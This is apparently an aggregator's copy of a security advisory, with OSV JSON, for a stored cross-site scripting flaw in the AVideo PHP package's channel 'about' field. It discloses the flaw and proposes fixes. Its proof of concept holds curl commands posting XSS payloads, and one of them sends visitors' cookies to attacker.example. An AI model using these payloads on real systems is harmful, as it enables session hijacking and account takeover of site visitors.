CVE-2026-33683: Wwbn/avideo Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-ghx5-7jjg-q2j7
CVSS 5.4
CWE-79
Published
Advisory Summary

CVE-2026-33683 is a MODERATE (CVSS 5.4) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo vulnerable to stored xss via html_entity_decode() reversing xss_esc() sanitization in channel about field. Remediation is available in the latest vendor maintenance releases.

CVE-2026-33683 at a Glance

CVE Identifier CVE-2026-33683
GHSA Identifier GHSA-ghx5-7jjg-q2j7
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Wwbn/avideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-33683

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33683, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A sanitization order-of-operations flaw in the user profile "about" field allows any registered user to inject arbitrary JavaScript that executes when other users visit their channel page. The `xss_esc()` function entity-encodes input before `strip_specific_tags()` can match dangerous HTML tags, and `html_entity_decode()` on output reverses the encoding, restoring the raw malicious HTML. ## Details **Input sanitization** in `objects/user.php:156`: ```php public function setAbout($about) { $this->about = strip_specific_tags(xss_esc($about)); } ``` The call order is `strip_specific_tags(xss_esc($about))`. The inner `xss_esc()` function (`objects/functionsSecurity.php:233`) calls `htmlspecialchars()`: ```php $result = @htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); ``` This encodes `<script>alert(1)</script>` to `&lt;script&gt;alert(1)&lt;/script&gt;`. Then `strip_specific_tags()` (`objects/functions.php:6623-6636`) runs regex patterns to remove dangerous tags: ```php $string = preg_replace('/<' . $tag . '[^>]*>(.*?)<\/' . $tag . '>/s', $replacement, $string); ``` But the regex looks for literal `<script>` — it can never match the entity-encoded `&lt;script&gt;`. The sanitizer is completely neutralized by the encoding that precedes it. **Output** in `view/channelBody.php:239-246`: ```php $about = html_entity_decode($user->getAbout()); if (!empty($advancedCustomUser->showAllAboutTextOnChannel)) { echo $about; } else { ?> <div id="aboutAreaPreContent"> <div id="aboutAreaContent"> <?php echo $about; ?> </div> </div> ``` The `html_entity_decode()` call reverses the `htmlspecialchars()` encoding, restoring the original raw HTML including `<script>` tags. The result is echoed directly into the page without any further escaping. **Secondary vector:** The `<img>` tag is not in the `strip_specific_tags` blocklist (`['script', 'style', 'iframe', 'object', 'applet', 'link']`), so payloads like `<img src=x onerror=...>` bypass even the intended tag stripping entirely. The about field is set via `objects/userUpdate.json.php:28`, accessible to any logged-in user: ```php $user->setAbout($_POST['about']); ``` The channel page (`view/channelBody.php`) is publicly accessible — no authentication is required to view it. ## PoC **Step 1:** Log in as any registered user and update the "about" field: ```bash curl -X POST 'https://TARGET/objects/userUpdate.json.php' \ -H 'Cookie: PHPSESSID=ATTACKER_SESSION' \ -d 'about=<img src=x onerror=alert(document.cookie)>&user=attacker&pass=password123&email=attacker@example.com&name=Attacker&analyticsCode=&donationLink=&phone=' ``` **Step 2:** Any user (including unauthenticated visitors) navigates to the attacker's channel page: ``` https://TARGET/channel/attacker ``` **Expected result:** The JavaScript in the `onerror` handler executes in the visitor's browser, displaying their session cookie. **Alternative payload using `<script>` tag (also works due to the sanitization bypass):** ```bash curl -X POST 'https://TARGET/objects/userUpdate.json.php' \ -H 'Cookie: PHPSESSID=ATTACKER_SESSION' \ -d 'about=<script>fetch("https://attacker.example/steal?c="%2Bdocument.cookie)</script>&user=attacker&pass=password123&email=attacker@example.com&name=Attacker&analyticsCode=&donationLink=&phone=' ``` ## Impact - **Session hijacking:** Attacker can steal session cookies of any user (including administrators) who visits their channel page - **Account takeover:** Stolen admin session tokens allow full administrative access to the AVideo instance - **Phishing:** Attacker can inject fake login forms or redirect users to malicious sites - **Worm potential:** Stored XSS could modify other users' profiles programmatically, creating a self-propagating worm This is a stored XSS affecting all visitors to any attacker-controlled channel page, with no user interaction beyond navigating to the page. ## Recommended Fix **Option 1 (Recommended — remove html_entity_decode):** The entity-encoded string is already safe for display. Remove the decode call in `view/channelBody.php`: ```php // Before (VULNERABLE): $about = html_entity_decode($user->getAbout()); // After (FIXED): $about = $user->getAbout(); ``` **Option 2 (If rich HTML is intended):** Reverse the sanitization order in `objects/user.php:156` and use a proper sanitizer: ```php // Before (VULNERABLE): $this->about = strip_specific_tags(xss_esc($about)); // After (FIXED — strip tags on raw HTML first, then encode): $this->about = xss_esc(strip_specific_tags($about)); ``` **Option 3 (Best — if rich HTML in about is desired):** Replace both `strip_specific_tags()` and `xss_esc()` with HTMLPurifier, which properly handles allowlisted HTML sanitization: ```php require_once 'vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php'; $config = HTMLPurifier_Config::createDefault(); $config->set('HTML.Allowed', 'p,br,b,i,u,a[href],ul,ol,li,strong,em'); $purifier = new HTMLPurifier($config); $this->about = $purifier->purify($about); ``` And on output, remove `html_entity_decode()` — output the purified HTML directly.

CVE-2026-33683 Affected Wwbn/avideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 26.0

References

Frequently Asked Questions

What is CVE-2026-33683?
CVE-2026-33683 is a security vulnerability in Wwbn/avideo involving AVideo vulnerable to Stored XSS via html_entity_decode() Reversing xss_esc() Sanitization in Channel About Field under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Wwbn/avideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-33683?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-33683?
CVE-2026-33683 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-33683?
CVE-2026-33683 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-33683?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-ghx5-7jjg-q2j7",
  "modified" : "2026-03-25T19:52:22Z",
  "published" : "2026-03-25T19:52:22Z",
  "aliases" : [ "CVE-2026-33683" ],
  "summary" : "AVideo vulnerable to Stored XSS via html_entity_decode() Reversing xss_esc() Sanitization in Channel About Field",
  "details" : "## Summary\n\nA sanitization order-of-operations flaw in the user profile \"about\" field allows any registered user to inject arbitrary JavaScript that executes when other users visit their channel page. The `xss_esc()` function entity-encodes input before `strip_specific_tags()` can match dangerous HTML tags, and `html_entity_decode()` on output reverses the encoding, restoring the raw malicious HTML.\n\n## Details\n\n**Input sanitization** in `objects/user.php:156`:\n\n```php\npublic function setAbout($about)\n{\n    $this->about = strip_specific_tags(xss_esc($about));\n}\n```\n\nThe call order is `strip_specific_tags(xss_esc($about))`. The inner `xss_esc()` function (`objects/functionsSecurity.php:233`) calls `htmlspecialchars()`:\n\n```php\n$result = @htmlspecialchars($text, ENT_QUOTES, 'UTF-8');\n```\n\nThis encodes `<script>alert(1)</script>` to `&lt;script&gt;alert(1)&lt;/script&gt;`.\n\nThen `strip_specific_tags()` (`objects/functions.php:6623-6636`) runs regex patterns to remove dangerous tags:\n\n```php\n$string = preg_replace('/<' . $tag . '[^>]*>(.*?)<\\/' . $tag . '>/s', $replacement, $string);\n```\n\nBut the regex looks for literal `<script>` — it can never match the entity-encoded `&lt;script&gt;`. The sanitizer is completely neutralized by the encoding that precedes it.\n\n**Output** in `view/channelBody.php:239-246`:\n\n```php\n$about = html_entity_decode($user->getAbout());\nif (!empty($advancedCustomUser->showAllAboutTextOnChannel)) {\n    echo $about;\n} else {\n?>\n    <div id=\"aboutAreaPreContent\">\n        <div id=\"aboutAreaContent\">\n            <?php echo $about; ?>\n        </div>\n    </div>\n```\n\nThe `html_entity_decode()` call reverses the `htmlspecialchars()` encoding, restoring the original raw HTML including `<script>` tags. The result is echoed directly into the page without any further escaping.\n\n**Secondary vector:** The `<img>` tag is not in the `strip_specific_tags` blocklist (`['script', 'style', 'iframe', 'object', 'applet', 'link']`), so payloads like `<img src=x onerror=...>` bypass even the intended tag stripping entirely.\n\nThe about field is set via `objects/userUpdate.json.php:28`, accessible to any logged-in user:\n\n```php\n$user->setAbout($_POST['about']);\n```\n\nThe channel page (`view/channelBody.php`) is publicly accessible — no authentication is required to view it.\n\n## PoC\n\n**Step 1:** Log in as any registered user and update the \"about\" field:\n\n```bash\ncurl -X POST 'https://TARGET/objects/userUpdate.json.php' \\\n  -H 'Cookie: PHPSESSID=ATTACKER_SESSION' \\\n  -d 'about=<img src=x onerror=alert(document.cookie)>&user=attacker&pass=password123&email=attacker@example.com&name=Attacker&analyticsCode=&donationLink=&phone='\n```\n\n**Step 2:** Any user (including unauthenticated visitors) navigates to the attacker's channel page:\n\n```\nhttps://TARGET/channel/attacker\n```\n\n**Expected result:** The JavaScript in the `onerror` handler executes in the visitor's browser, displaying their session cookie.\n\n**Alternative payload using `<script>` tag (also works due to the sanitization bypass):**\n\n```bash\ncurl -X POST 'https://TARGET/objects/userUpdate.json.php' \\\n  -H 'Cookie: PHPSESSID=ATTACKER_SESSION' \\\n  -d 'about=<script>fetch(\"https://attacker.example/steal?c=\"%2Bdocument.cookie)</script>&user=attacker&pass=password123&email=attacker@example.com&name=Attacker&analyticsCode=&donationLink=&phone='\n```\n\n## Impact\n\n- **Session hijacking:** Attacker can steal session cookies of any user (including administrators) who visits their channel page\n- **Account takeover:** Stolen admin session tokens allow full administrative access to the AVideo instance\n- **Phishing:** Attacker can inject fake login forms or redirect users to malicious sites\n- **Worm potential:** Stored XSS could modify other users' profiles programmatically, creating a self-propagating worm\n\nThis is a stored XSS affecting all visitors to any attacker-controlled channel page, with no user interaction beyond navigating to the page.\n\n## Recommended Fix\n\n**Option 1 (Recommended — remove html_entity_decode):** The entity-encoded string is already safe for display. Remove the decode call in `view/channelBody.php`:\n\n```php\n// Before (VULNERABLE):\n$about = html_entity_decode($user->getAbout());\n\n// After (FIXED):\n$about = $user->getAbout();\n```\n\n**Option 2 (If rich HTML is intended):** Reverse the sanitization order in `objects/user.php:156` and use a proper sanitizer:\n\n```php\n// Before (VULNERABLE):\n$this->about = strip_specific_tags(xss_esc($about));\n\n// After (FIXED — strip tags on raw HTML first, then encode):\n$this->about = xss_esc(strip_specific_tags($about));\n```\n\n**Option 3 (Best — if rich HTML in about is desired):** Replace both `strip_specific_tags()` and `xss_esc()` with HTMLPurifier, which properly handles allowlisted HTML sanitization:\n\n```php\nrequire_once 'vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php';\n$config = HTMLPurifier_Config::createDefault();\n$config->set('HTML.Allowed', 'p,br,b,i,u,a[href],ul,ol,li,strong,em');\n$purifier = new HTMLPurifier($config);\n$this->about = $purifier->purify($about);\n```\n\nAnd on output, remove `html_entity_decode()` — output the purified HTML directly.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-ghx5-7jjg-q2j7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33683"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/7cfdc380dae1e56bbb5de581470d9e9957445df0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-25T19:52:22Z",
    "nvd_published_at" : "2026-03-23T19:16:41Z"
  }
}